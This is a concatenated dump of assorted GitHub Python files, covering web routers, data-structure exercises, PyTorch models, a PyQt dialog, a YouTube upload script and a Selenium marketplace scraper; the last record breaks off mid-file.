name='external-list'),\n]\n","repo_name":"Jahn16/desafio-tor","sub_path":"ips/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13169683769","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\nFile Name: 二叉树的最左下树节点的值\nDescription : \nAuthor : wellqin\ndate: 2020/1/31\nChange Activity: 2020/1/31\n-------------------------------------------------\n\"\"\"\n# https://www.cnblogs.com/ArsenalfanInECNU/p/5346751.html\n# from .CreateTree import Tree\nfrom DataStructure.二叉树.二叉树的搜索.CreateTree import Node, Tree\n\n\ndef traverse(root): # 层次遍历\n if root is None:\n return []\n queue = [root]\n res = []\n while queue:\n node = queue.pop(0)\n res.append(node.val)\n if node.left is not None:\n queue.append(node.left)\n if node.right is not None:\n queue.append(node.right)\n return res\n\n\nt = Tree()\nfor i in range(6):\n t.add(i)\nprint('层序遍历:', traverse(t.root))\n\n\ndef FindLeft(root):\n if not root:\n return -1\n cur = root\n while cur.left:\n cur = cur.left\n return cur.val\n\n\nprint(FindLeft(t.root))\n\n","repo_name":"wellqin/USTC","sub_path":"DataStructure/二叉树/二叉树的搜索/二叉树的最左下树节点的值.py","file_name":"二叉树的最左下树节点的值.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"11044898502","text":"import numpy as np\nimport torch.nn as nn\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset\nimport common\nimport torch.utils.checkpoint as cp\nfrom collections import OrderedDict\n\n\n\nclass CNNModel(nn.Module):\n def __init__(self, in_channel=2, out_channel=1, features=64):\n super(CNNModel, self).__init__()\n self.head = nn.Sequential(\n nn.Conv2d(in_channel, features, 3, 1, padding=1),\n nn.BatchNorm2d(features),\n nn.ReLU(True)\n )\n self.layer = nn.Sequential(\n common.ResBlock(common.default_conv, features, 3, bn=True),\n nn.Conv2d(features, 4*features, 3, stride=2, padding=1),\n nn.BatchNorm2d(features*4), # 256\n nn.ReLU(inplace=True),\n\n common.ResBlock(common.default_conv, features*4, 3, bn=True),\n nn.Conv2d(4*features, 16*features, 3, stride=2, padding=1),\n nn.BatchNorm2d(features*16),\n nn.ReLU(inplace=True),\n\n common.ResBlock(common.default_conv, 16*features, 3, bn=True),\n nn.Conv2d(16*features, 32*features, 3, stride=2, padding=1),\n nn.BatchNorm2d(features*32),\n nn.ReLU(inplace=True),\n\n nn.Conv2d(32*features, 32*features, 3, stride=2, padding=1),\n nn.BatchNorm2d(features*32),\n nn.ReLU(inplace=True),\n \n nn.AdaptiveAvgPool2d(output_size=(1,1))\n )\n\n self.tail = nn.Sequential(\n # nn.Conv2d(features, out_channel, 1),\n nn.Linear(in_features=32*features, out_features=1024, bias=True),\n nn.Sigmoid()\n )\n \n def forward(self, x):\n out = self.head(x)\n out = torch.squeeze(self.layer(out))\n # print(out.shape)\n out = self.tail(out)\n B,C = out.shape\n return out.view(B, -1)\n\ndef print_network(net):\n num_params = 0\n for param in net.parameters():\n num_params += param.numel()\n print(net)\n print('Total number of parameters: %d' % num_params)\n\n\n","repo_name":"scholarboss/IPIC_top","sub_path":"intermediary/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"74196867612","text":"def yukon_temp(temp):\r\n if temp >= -5 and temp <= 0:\r\n return 'Cold'\r\n elif temp > 0 and temp <= 10:\r\n return 'Warm'\r\n elif temp > 10:\r\n return 'Hot'\r\n elif temp < -5:\r\n return 'Chilling'\r\n\r\nuser_input = float(input(\"What's the Temp today : \"))\r\n\r\nprint (yukon_temp(user_input))\r\n ","repo_name":"debasissil-python/debasissil-python","sub_path":"user_input.py","file_name":"user_input.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13069661594","text":"from rest_framework.routers import DefaultRouter\nfrom app import (\n viewsets\n)\n\napi_urlpatterns = []\n\ncompeticao_router = DefaultRouter()\n\ncompeticao_router.register(\n r'^api/competicao',\n viewsets.CompeticaoViewSet,\n basename=\"competicao\"\n)\n\napi_urlpatterns += competicao_router.urls\ntime_router = DefaultRouter()\n\ntime_router.register(\n r'^api/time',\n viewsets.TimeViewSet,\n basename=\"time\"\n)\n\napi_urlpatterns += time_router.urls\nmatch_router = DefaultRouter()\n\nmatch_router.register(\n r'^api/match',\n viewsets.MatchViewSet,\n basename=\"match\"\n)\n\napi_urlpatterns += match_router.urls\n","repo_name":"caiomarinhodev/matchesuol","sub_path":"app/urls_api.py","file_name":"urls_api.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71316385052","text":"from PyQt5.Qt import (\n QDialog, QLabel, QDialogButtonBox, QLayout, QScrollArea,\n QWidget, Qt\n)\n\nfrom master.ui.custom_widgets import move_center, make_layout\nfrom master.ui.state import state\n\n\nclass CameraParametersDialog(QDialog):\n _default = '''\n QLabel {\n font-size: 14px;\n }\n\n QDialogButtonBox {\n min-height: 30px;\n }\n \n QScrollArea {\n min-height: 400px;\n min-width: 400px;\n }\n '''\n\n def __init__(self, parent):\n super().__init__(parent)\n self._setup_ui()\n\n def _setup_ui(self):\n self.setStyleSheet(self._default)\n shot = state.get('current_shot')\n job = state.get('current_job')\n\n layout = make_layout(\n horizon=False,\n margin=24,\n spacing=24\n )\n\n # shot parms\n if job is None:\n self.setWindowTitle(f'[{shot.name}] Camera Parameters')\n if isinstance(shot.camera_parameters, dict):\n for key, value in shot.camera_parameters.items():\n parm_layout = make_layout(spacing=48)\n name_label = QLabel(f'{key}:')\n if isinstance(value, float):\n value = f'{value:.2f}'\n else:\n value = str(value)\n value_label = QLabel(value)\n\n parm_layout.addWidget(name_label)\n parm_layout.addStretch(0)\n parm_layout.addWidget(value_label)\n\n layout.addLayout(parm_layout)\n # job parms\n else:\n self.setWindowTitle(f'[{job.name}] Submit Parameters')\n\n submit_widget = QWidget()\n submit_control = make_layout(\n horizon=False, spacing=8, margin=24\n )\n\n for key, value in job.parameters.items():\n widgets = convert_submit_parm_widgets(key, value, 0)\n for widget in widgets:\n if isinstance(widget, QLayout):\n submit_control.addLayout(widget)\n else:\n submit_control.addWidget(widget)\n\n scroll = QScrollArea()\n scroll.setWidgetResizable(False)\n scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n submit_widget.setLayout(submit_control)\n scroll.setWidget(submit_widget)\n layout.addWidget(scroll)\n\n buttons = QDialogButtonBox.Ok\n self._buttons = QDialogButtonBox(buttons)\n self._buttons.accepted.connect(self.accept)\n self._buttons.rejected.connect(self.reject)\n layout.addWidget(self._buttons)\n\n self.setLayout(layout)\n move_center(self)\n\n\ndef convert_submit_parm_widgets(key, value, layer):\n widgets = []\n parm_layout = make_layout(\n spacing=30,\n margin=(layer * 24, 24 if layer == 0 else 0, 0, 0)\n )\n\n if key is None:\n return convert_submit_parm_widgets(value[0], value[1], layer)\n if isinstance(value, dict):\n parm_layout.addWidget(\n QLabel(f'{key}:')\n )\n widgets.append(parm_layout)\n for k, v in value.items():\n widgets += convert_submit_parm_widgets(k, v, layer + 1)\n return widgets\n elif isinstance(value, list):\n parm_layout.addWidget(\n QLabel(f'{key}:')\n )\n widgets.append(parm_layout)\n for l in value:\n widgets += convert_submit_parm_widgets(None, l, layer + 1)\n return widgets\n\n name_label = QLabel(f'{key}:')\n if isinstance(value, float):\n value = f'{value}'\n else:\n value = str(value)\n value_label = QLabel(value)\n\n parm_layout.addWidget(name_label)\n parm_layout.addStretch(0)\n parm_layout.addWidget(value_label)\n\n return [parm_layout]\n","repo_name":"MoonShineVFX/4drec","sub_path":"src/capture/master/ui/dialog/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"38367056429","text":"import os\n\nfrom ament_index_python.packages import get_package_share_directory\n\nfrom launch import LaunchDescription\nfrom launch.actions import IncludeLaunchDescription\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\n\nfrom launch_ros.actions import Node\nfrom launch_ros.actions import SetParameter\n\n\n# Создаем переменную, в которой будут хранитсься созданные узлы\ndef generate_launch_description():\n demo_nodes = IncludeLaunchDescription(\n PythonLaunchDescriptionSource([os.path.join(\n get_package_share_directory('learning_tf2_py'), 'launch'),\n '/turtle_tf2_demo.launch.py']),\n )\n\n return LaunchDescription([\n demo_nodes,\n Node(\n package='learning_tf2_py',\n executable='fixed_frame_tf2_broadcaster',\n name='fixed_broadcaster',\n parameters=[\n {'delay': '0.1'}\n ]\n ),\n ])","repo_name":"NekrasovaAnn/-Robotics","sub_path":"module04/ex03/launch/turtle_tf2_fixed_frame_demo.launch.py","file_name":"turtle_tf2_fixed_frame_demo.launch.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15215611784","text":"\"\"\"\n\" Get the row data of DNS response based on data/inbound/\n\" Ignore all the invisible response.\n\" By Zhengping on 2018-10-15\n\"\"\"\n\nfrom src.util.FileReader import fileReader\nfrom src.util.FileWriter import fileWriter\nfrom src.util.FolderReader import folderReader\nfrom src.util.DNSFieldLocMap import FieldToLoc\nimport os\n\n\ndef getHourlyValidResponse(filename):\n file = fileReader(filename)\n responseList = []\n for line in file:\n response = line.split(\"\\t\")[FieldToLoc[\"answers\"]]\n if response != \"-\":\n responseList.append(response)\n return responseList\n\n\ndef dumpDailyValidResponse(date, cookie):\n foldername = \"../../data/%s/%s\" % (date, cookie)\n folder = folderReader(foldername)\n outputFoldername = \"../../result/Response/%s\" % date\n if not os.path.exists(outputFoldername):\n os.makedirs(outputFoldername)\n for filename in folder:\n absFilename = filename.split(\"/\")[-1]\n outputFilename = \"%s/response_%s\" % (outputFoldername, absFilename)\n print(\"Start dumping %s\" % outputFilename)\n dumpHourlyesponseList(filename, outputFilename)\n\n\ndef dumpHourlyesponseList(filename, outputFilename):\n responseList = getHourlyValidResponse(filename)\n outputFile = fileWriter(outputFilename)\n outputStr = \"\"\n for response in responseList:\n outputStr = outputStr + response + \"\\n\"\n outputFile.writeString(outputStr)\n\n\nif __name__ == '__main__':\n date = \"2018-09-11\"\n dateList = [\"2018-09-11\", \"2018-09-12\", \"2018-09-13\"]\n dateList = [\"2018-09-19\"]\n cookie = \"inbound\"\n for date in dateList:\n dumpDailyValidResponse(date, cookie)\n\n # filename = \"../../data/%s/inbound/%s_00.log\" % (date, date)\n # # getHourlyValidResponse(filename)\n # outputFilename = \"../../result/Response/%s/response_%s_00.log\" % (date, date)\n # dumpHourlyesponseList(filename, outputFilename)","repo_name":"aquablue1/dns_probe","sub_path":"src/Response/getValidResponseRow.py","file_name":"getValidResponseRow.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26878951349","text":"from weecfg.extension import ExtensionInstaller\n\n\ndef loader():\n return BasicInstaller()\n\n\nclass BasicInstaller(ExtensionInstaller):\n def __init__(self):\n super(BasicInstaller, self).__init__(\n version=\"0.14\",\n name='web-mqtt-skin',\n description='HTML from MQTT loop',\n author=\"Matthew Bradley\",\n author_email=\"mbradley612@github.com\",\n config={\n 'StdReport': {\n 'web-mqtt': {\n 'skin': 'web-mqtt',\n 'HTML_ROOT': 'web-mqtt'}}},\n files=[('skins/web-mqtt',\n ['skins/web-mqtt/skin.conf',\n 'skins/web-mqtt/index.html.tmpl',\n 'skins/web-mqtt/update-live-weather-mqtt.js',\n ]),\n ]\n )","repo_name":"mbradley612/web-mqtt-skin","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"75150962012","text":"import os\nimport pickle\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nfrom googleapiclient.http import MediaFileUpload\nfrom google.auth.transport.requests import Request\nimport shutil\nimport re\n\n# Directories and SCOPES definition\n\nimport os\n\nscript_dir = os.path.dirname(os.path.abspath(__file__))\n\nwhile os.path.basename(script_dir) != 'w3c-ccg-unofficial-video-upload' and script_dir != os.path.dirname(script_dir):\n script_dir = os.path.dirname(script_dir)\n\n# At this point, script_directory is either the 'w3c-ccg-unofficial-video-upload' directory or the root directory if not found\nif os.path.basename(script_dir) != 'w3c-ccg-unofficial-video-upload':\n print(\"'w3c-ccg-unofficial-video-upload' directory not found in the path hierarchy of the script.\")\n exit(1)\n\nvideos_directory = os.path.join(script_dir, 'ccg_videos_new', 'ccg_videos_transcribed')\nprint(f\"Expected watching directory: {videos_directory}\")\nsummaries_folder = os.path.join(script_dir, 'summaries')\nprint(f\"Expected summaries directory: {summaries_folder}\")\n\nSCOPES = ['https://www.googleapis.com/auth/youtube.upload']\n\ndef get_authenticated_service():\n token_path = os.path.join(script_dir, 'token.pickle')\n client_secrets_path = os.path.join(script_dir, 'client_secrets.json')\n \n # Print expected paths\n print(f\"Expected token path: {token_path}\")\n print(f\"Expected client secrets path: {client_secrets_path}\")\n\n creds = None\n if os.path.exists(token_path):\n with open(token_path, 'rb') as token:\n creds = pickle.load(token)\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(client_secrets_path, SCOPES)\n creds = flow.run_local_server(port=8080)\n with open(token_path, 'wb') as token:\n pickle.dump(creds, token)\n return build('youtube', 'v3', credentials=creds)\n\ndef upload_video_to_youtube(file_path):\n # Get the filename without extension\n base_name = os.path.basename(file_path)\n file_name_without_extension = os.path.splitext(base_name)[0]\n video_title = re.sub(r'(?<=[^\\d])-(?=[^\\d])', ' ', file_name_without_extension)\n\n # Determine the path to the related summary file\n summary_file_path = os.path.join(script_dir, 'summaries', f\"{file_name_without_extension}_transcript_summary.txt\")\n print(f\"Expected summaries directory: {summary_file_path}\")\n\n # Default description if the summary file does not exist or fails to read\n description = \"Test Description\"\n \n # Read the description from the summary file if it exists\n if os.path.exists(summary_file_path):\n with open(summary_file_path, 'r') as f:\n description = f.read().strip()\n print(f\"Description for {file_name_without_extension}: {description}\")\n\n # Check if the description is still the default. If yes, skip uploading the video and move it to ccg_video_old_too_short directory.\n if description == \"Test Description\":\n too_short_directory = os.path.join(script_dir, 'ccg_videos_old', 'ccg_video_old_too_short')\n # Ensure the destination directory exists\n if not os.path.exists(too_short_directory):\n os.makedirs(too_short_directory)\n \n new_file_path = os.path.join(too_short_directory, os.path.basename(file_path))\n \n # Move the file\n shutil.move(file_path, new_file_path)\n print(f\"This {file_name_without_extension} was too short to upload, and did not have a summary.\")\n print(f\"Moved {file_path} to {new_file_path}\")\n return\n\n youtube = get_authenticated_service()\n print(\"Uploading: \" + file_path)\n request = youtube.videos().insert(\n part=\"snippet,status\",\n body={\n \"snippet\": {\n \"categoryId\": \"22\",\n \"description\": description,\n \"title\": video_title\n },\n \"status\": {\n \"privacyStatus\": \"public\",\n \"embeddable\": True,\n \"license\": \"youtube\",\n \"publicStatsViewable\": True\n },\n },\n media_body=MediaFileUpload(file_path)\n )\n response = request.execute()\n print(response)\n\n # This is the new code to move the uploaded video to the 'ccg_videos_old' directory.\n old_videos_directory = os.path.join(script_dir, 'ccg_videos_old')\n new_file_path = os.path.join(old_videos_directory, os.path.basename(file_path))\n \n # Ensure the destination directory exists\n if not os.path.exists(old_videos_directory):\n os.makedirs(old_videos_directory)\n \n # Move the file\n shutil.move(file_path, new_file_path)\n print(f\"Moved {file_path} to {new_file_path}\")\n\nif __name__ == \"__main__\":\n # loop through any videos that are already in the directory\n for filename in os.listdir(videos_directory):\n if filename.endswith(\".mp4\"):\n file_path = os.path.join(videos_directory, filename)\n print(f\"Processing file: {file_path}\")\n upload_video_to_youtube(file_path)\n print(\"Finished processing all videos.\")\n","repo_name":"nlongcn/w3c-ccg-unofficial-video-upload","sub_path":"upload_script/ccg_upload_openai_new.py","file_name":"ccg_upload_openai_new.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70295684893","text":"class Triangle:\n\tdef __init__(self, form: (1, 2, 3)):\n\t\tself.a = form[0]\n\t\tself.b = form[1]\n\t\tself.c = form[2]\n\t\tself.real = self.is_real()\n\n\tdef is_real(self):\n\t\ta, b, c = self.a, self.b, self.c\n\t\treal = True\n\t\treal = real and (a + b > c)\n\t\treal = real and (a + c > b)\n\t\treal = real and (b + c > a)\n\t\treturn real\n\n\n#Determine if a triangle can be formed\n#1,2,2 = True\n#1,4,4 = False\ntriangle = tuple(\n\tfloat(x)\n\tfor x in input('example input 1,1,2\\nyour input:').strip(' ').split(','))\n\nt = Triangle(triangle)\nif t.real:\n\tprint('Can be formed')\nelse:\n\tprint(\"Can't be formed\")\n\n","repo_name":"shoriwe/sololearn-challenges","sub_path":"sololearn/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41011982789","text":"from torchvision import datasets, transforms\nfrom base import BaseDataLoader\n\n\nfrom torch.utils.data import Dataset\nimport cv2\nimport torch\nimport pandas as pd\n\nclass CustomDataset(Dataset):\n def __init__(self, img_path_list, label_list, transforms=None):\n self.img_path_list = img_path_list\n self.label_list = label_list\n self.transforms = transforms\n \n def __getitem__(self, index):\n img_path = self.img_path_list[index]\n \n image = cv2.imread(\"C:/Users/yoon/Desktop/pytorch-template/data/open/\"+img_path) #수정 예정\n \n if self.transforms is not None:\n image = self.transforms(image)\n\n if self.label_list is not None:\n label = torch.FloatTensor(self.label_list[index])\n return image, label\n else:\n return image\n \n def __len__(self):\n return len(self.img_path_list)\n\nclass FourDBlockDataLoader(BaseDataLoader):\n def __init__(self,data_dir, batch_size, shuffle=True, validation_split=0.2, num_workers=1, training=True):\n trsfm = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])# albumentation 추가\n self.data_dir = data_dir\n self.train_df = pd.read_csv(data_dir+\"train.csv\") # target(y), index, image_path\n self.img_path_list = self.train_df[\"img_path\"]\n self.label_list = [list(self.train_df.iloc[i][2:]) for i in range(len(self.train_df))] # 수정\n \n\n self.dataset = CustomDataset(img_path_list=self.img_path_list, label_list=self.label_list,transforms=trsfm)\n super().__init__(self.dataset, batch_size, shuffle, validation_split, num_workers)\n\n\n\nclass MnistDataLoader(BaseDataLoader):\n \"\"\"\n MNIST data loading demo using BaseDataLoader\n \"\"\"\n def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, num_workers=1, training=True):\n trsfm = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n self.data_dir = data_dir\n self.dataset = datasets.MNIST(self.data_dir, train=training, download=True, transform=trsfm)\n super().__init__(self.dataset, batch_size, shuffle, validation_split, num_workers)\n\n\n","repo_name":"4DBlock/pytorch-template","sub_path":"data_loader/data_loaders.py","file_name":"data_loaders.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6704257","text":"import torch.nn as nn\nimport torch\nimport torch.nn.functional as F\n\n\nclass BinActive(torch.autograd.Function):\n '''\n Binarize the input activations and calculate the mean across channel dimension.\n '''\n def forward(self, input):\n self.save_for_backward(input)\n size = input.size()\n mean = torch.mean(input.abs(), 1, keepdim=True)\n input = input.sign()\n return input, mean\n\n def backward(self, grad_output, grad_output_mean):\n input, = self.saved_tensors\n grad_input = grad_output.clone()\n grad_input[input.ge(1)] = 0\n grad_input[input.le(-1)] = 0\n return grad_input\n\n\nclass BinConv2d(nn.Module):\n def __init__(self, input_channels, output_channels,\n kernel_size=-1, stride=-1, padding=-1,\n groups=1, dropout=0, bias=True, Linear=False, relu=True, bwn=False):\n super(BinConv2d, self).__init__()\n self.layer_type = 'BinConv2d'\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n self.dropout_ratio = dropout\n self.doRelu = relu\n self.bwn = bwn\n\n if dropout != 0:\n self.dropout = nn.Dropout(dropout)\n self.Linear = Linear\n if not self.Linear:\n self.conv = nn.Conv2d(input_channels, output_channels,\n kernel_size=kernel_size, stride=stride,\n padding=padding, groups=groups, bias=bias)\n self.bn = nn.BatchNorm2d(output_channels, eps=1e-4, momentum=0.1, affine=True)\n else:\n self.linear = nn.Linear(input_channels, output_channels)\n self.bn = nn.BatchNorm1d(output_channels, eps=1e-4, momentum=0.1, affine=True)\n if self.doRelu:\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x):\n if not self.bwn:\n x, mean = BinActive()(x)\n if self.dropout_ratio != 0:\n x = self.dropout(x)\n if not self.Linear:\n x = self.conv(x)\n else:\n x = self.linear(x)\n x = self.bn(x)\n if self.doRelu:\n x = self.relu(x)\n return x\n\n\nclass LambdaLayer(nn.Module):\n def __init__(self, lambd):\n super(LambdaLayer, self).__init__()\n self.lambd = lambd\n\n def forward(self, x):\n return self.lambd(x)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, in_planes, planes, stride=1, option='A', bwn=False):\n super(BasicBlock, self).__init__()\n self.conv_bn_relu1 = BinConv2d(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False, bwn=bwn)\n self.conv_bn2 = BinConv2d(planes, planes, kernel_size=3, stride=1, padding=1, bias=False, relu=False, bwn=bwn)\n\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != planes:\n if option == 'A':\n \"\"\"\n For CIFAR10 ResNet paper uses option A.\n \"\"\"\n self.shortcut = LambdaLayer(lambda x:\n F.pad(x[:, :, ::2, ::2], (0, 0, 0, 0, planes//4, planes//4), \"constant\", 0))\n elif option == 'B':\n self.shortcut = BinConv2d(in_planes, self.expansion * planes, kernel_size=1, stride=stride, padding=0, bias=False, relu=False, bwn=bwn)\n\n def forward(self, x):\n out = self.conv_bn_relu1(x)\n out = self.conv_bn2(out)\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass ResNet20(nn.Module):\n def __init__(self, block, num_blocks, num_classes=10, bwn=False):\n super(ResNet20, self).__init__()\n self.in_planes = 16\n\n self.conv1 = nn.Conv2d(3, 16, kernel_size=3, stride=1, padding=1, bias=False)\n self.bn1 = nn.BatchNorm2d(16)\n self.layer1 = self._make_layer(block, 16, num_blocks[0], stride=1, bwn=bwn)\n self.layer2 = self._make_layer(block, 32, num_blocks[1], stride=2, bwn=bwn)\n self.layer3 = self._make_layer(block, 64, num_blocks[2], stride=2, bwn=bwn)\n self.linear = nn.Linear(64, num_classes)\n\n def _make_layer(self, block, planes, num_blocks, stride, bwn=False):\n strides = [stride] + [1]*(num_blocks-1)\n layers = []\n for stride in strides:\n layers.append(block(self.in_planes, planes, stride, bwn=bwn))\n self.in_planes = planes * block.expansion\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = self.layer1(out)\n out = self.layer2(out)\n out = self.layer3(out)\n out = F.avg_pool2d(out, out.size()[3])\n out = out.view(out.size(0), -1)\n out = self.linear(out)\n return out\n # def _initialize_weights(self):\n # for m in self.modules():\n # if isinstance(m, nn.Conv2d):\n # m.weight.data.normal_(0, 0.05)\n # m.bias.data.zero_()","repo_name":"ejshumaker/EECS545RFProject","sub_path":"XNOR-Net-PyTorch/CIFAR_10/models/resnet_20.py","file_name":"resnet_20.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"10835135077","text":"import undetected_chromedriver as uc\nimport uuid\nimport json\nimport os\nimport logging\nimport random\n\nfrom selenium.webdriver.chromium.options import ChromiumOptions\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException\n\nfrom bs4 import BeautifulSoup\n\nfrom app.config.config import ALLOWED_MARKETPLACES, NUMBER_OF_PRODUCTS_PER_MARKETPLACE\nfrom app.db.db import DB\n\n\nclass Parser(object):\n def __init__(self, marketplace):\n if marketplace not in ALLOWED_MARKETPLACES:\n raise ValueError(f\"Error: incorrect marketplace. Allowed: {ALLOWED_MARKETPLACES}\")\n\n self.marketplace = marketplace\n self._uuid = uuid.uuid4()\n\n self.driver = None\n self.trigger = None\n\n self.options = None\n self.cookies = None\n\n self.db = DB()\n self.products = []\n self.accepted_products = []\n self.table_name = None\n\n def init_parser(self):\n try:\n self.driver = uc.Chrome(options=self.set_options())\n logging.info(f\"Initialized parser type {self.marketplace}\")\n except Exception as e:\n logging.error(f\"Error while trying to initialize parser: {e}\")\n\n def set_options(self):\n self.options = ChromiumOptions()\n self.options.headless = True\n self.options.add_argument(\"--disable-blink-features=AutomationControlled\")\n self.options.add_argument(\"--disable-extensions\")\n self.options.add_argument(\"--disable-application-cache\")\n self.options.add_argument(\"--disable-gpu\")\n self.options.add_argument(\"--disable-infobars\")\n self.options.add_argument(\"--disable-browser-side-navigation\")\n self.options.add_argument(\"--no-sandbox\")\n self.options.add_argument(\"--disable-setuid-sandbox\")\n self.options.add_argument(\"--disable-dev-shm-usage\")\n self.options.add_argument(\"--disable-features=IsolateOrigins,site-per-process\")\n self.options.add_argument(\"--disable-web-security\")\n self.options.add_argument(\"--ignore-certificate-errors\")\n self.options.add_argument(\"--enable-javascript\")\n self.options.add_argument(\"--blink-settings=imagesEnabled=false\")\n self.options.add_argument(\n \"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/58.0.3029.110 Safari/537.36\")\n\n return self.options\n\n def get_category_pages(self, url: str, start: int, end: int, trigger=None, pages_lambda=lambda x: x,\n pages_link=\"?\"):\n try:\n os.makedirs(f\"./app/parseData/{self.marketplace}/pages/{self._uuid}\", exist_ok=True)\n logging.info(f\"Created pages uuid directory {self._uuid}\")\n except OSError as e:\n logging.error(f\"Error while trying to create pages uuid directory: {e}\")\n\n for i in [pages_lambda(x) for x in range(start - 1, end)]:\n page = self.get_page(url + f\"{pages_link}page={i}\", trigger)\n\n try:\n with open(f\"./app/parseData/{self.marketplace}/pages/{self._uuid}/page_{i}.html\", \"w\") as file:\n file.write(page)\n except Exception as e:\n logging.error(f\"Error while writing html file: {e}\")\n finally:\n file.close()\n\n def get_items_data(self):\n try:\n os.makedirs(f\"./app/parseData/{self.marketplace}/items/{self._uuid}\", exist_ok=True)\n logging.info(f\"Created items uuid directory {self._uuid}\")\n except OSError as e:\n logging.error(f\"Error while trying to create items uuid directory: {e}\")\n\n try:\n with open(f\"./app/parseData/{self.marketplace}/items/{self._uuid}.json\", \"r\") as file:\n products = json.loads(file.read())\n except Exception as e:\n logging.error(f\"Error while reading json file: {e}\")\n finally:\n file.close()\n\n return list(products.values())\n\n def generate_trigger(self, trigger, source):\n soup = BeautifulSoup(source, 'lxml')\n self.trigger = trigger(soup)\n logging.info(f\"Generated trigger {self.trigger}\")\n\n def get_page(self, url, trigger=None):\n self.init_parser()\n self.driver.get(url)\n\n if trigger:\n tries = 0\n while tries < 2:\n if self.trigger is None:\n self.generate_trigger(trigger, self.driver.page_source)\n\n try:\n WebDriverWait(self.driver,\n timeout=10).until(EC.presence_of_element_located((By.CLASS_NAME, self.trigger)))\n except TimeoutException:\n logging.error(f\"Timeout trigger: {trigger} for {url}\")\n self.generate_trigger(trigger, self.driver.page_source)\n tries += 1\n continue\n break\n\n page = self.driver.page_source\n\n if \"Cloudflare\" in page:\n logging.error(f\"Detected by Cloudflare: {url}\")\n return self.__quit()\n\n logging.info(f\"Successfully got {url}\")\n\n self.__quit()\n\n return page\n\n def check_if_product_exists(self):\n try:\n _ = 0\n for i in range(len(self.products)):\n if i >= len(self.products):\n break\n\n logging.info(f\"Checking if product exist: {self.products[_]['title']}\")\n\n if len(self.db.select_where(table_name=\"products\",\n where_cond=\"title\",\n where_value=self.products[_][\"title\"])) != 0:\n\n dropped_product = self.products.pop(_)\n\n _ -= 1\n\n logging.info(f\"Dropped existing product: {dropped_product['title']}\")\n\n _ += 1\n\n except Exception as e:\n logging.error(f\"Error while trying to check if product exists: {e} | list: {self.products}\")\n\n def save_products(self, category_id: int):\n random.shuffle(self.products)\n for i in range(NUMBER_OF_PRODUCTS_PER_MARKETPLACE):\n logging.info(f\"saved product to category ID {category_id}\")\n self.db.insert(table_name=self.table_name,\n **self.products[i],\n category_id=category_id)\n\n self.products = []\n\n def __quit(self):\n self.driver.quit()\n logging.info(\"Quit driver\")\n","repo_name":"arud3nko/marketplace_parser","sub_path":"app/parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30796659454","text":"import time\nfrom typing import Dict\n\nfrom PyQt6.QtCore import QThread, pyqtSignal\nfrom PyQt6.QtWidgets import (\n QVBoxLayout,\n QWidget,\n QGroupBox,\n QGridLayout,\n QLabel,\n QPushButton,\n QSizePolicy,\n QCheckBox,\n QComboBox,\n QFormLayout,\n)\n\nfrom 